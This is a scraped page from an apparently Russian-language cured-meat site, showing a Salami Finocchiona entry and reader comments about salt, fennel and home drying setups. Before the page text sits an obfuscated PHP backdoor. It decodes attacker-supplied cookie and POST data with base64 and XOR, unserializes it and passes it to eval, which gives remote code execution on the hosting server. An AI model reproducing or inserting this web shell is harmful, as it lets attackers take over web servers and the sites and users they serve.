$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Salami FINOCCHIONA • Meat Review

Salami FINOCCHIONA
Колбаса хороша не только вкусом, но и своим диаметром. Удобно-бутербродная.

Salami FINOCCHIONA

Share it on your social network:

Or you can just copy and share this url

Bookmark this recipe

You need to login or register to bookmark/favorite this content.

Cuisine:
  • Hard

Directions

Share

Sorry, this entry is only available in Russian.

(Visited 2,559 times, 1 visits today)
previous
Minced ham
next
Bresaola from Whole Boneless Arm Shoulder
previous
Minced ham
next
Bresaola from Whole Boneless Arm Shoulder

7 comments

× You need to log in to enter the discussion
  • Спасибо Владимир за рецепт. Хочу тоже сделать, смущает количество соли, не маловато ли? И сильно ли чувствуется фенхель, кроме меня никто анисовые запахи не переносит.
  • Насчет соли - сделайте 22 грамма, не больше. Я начинал с 25, это для меня много. Соль в сыровяле никуда не девается, вес уходит а соль остается в более концентрированном виде. Фенхель совсем не мешает, он не навязчивый тонкий привкус оставляет. 
    • Спасибо. Решил все-таки пропорцию соли не менять. Сегодня на ферментацию положил, вешать не знаю куда, пойду дегидратор придумывать. Гов. синюга, больше 5 кг. Первый раз в синюге делаю, страшно... 
  • Какие культуры использовали? Вместо дегидратора на первое время можно использовать посудомоечную машинку и ставить в нее миску с кипятком.
    • Дал Бессастарт и Кристаллют. Есть пласмассовый бак для вина-пива 30л (померил -- влезает, только бока касаются) и компьют. вентилятор. Соединил вентилятор с зарядкой для мобилок, никакого аккумулятора не нужно, удобно. Пару дырок сделаю в баке и куплю коврик для рептилий.
Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

By continuing to use the site, you agree to the use of cookies. more information

The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

Close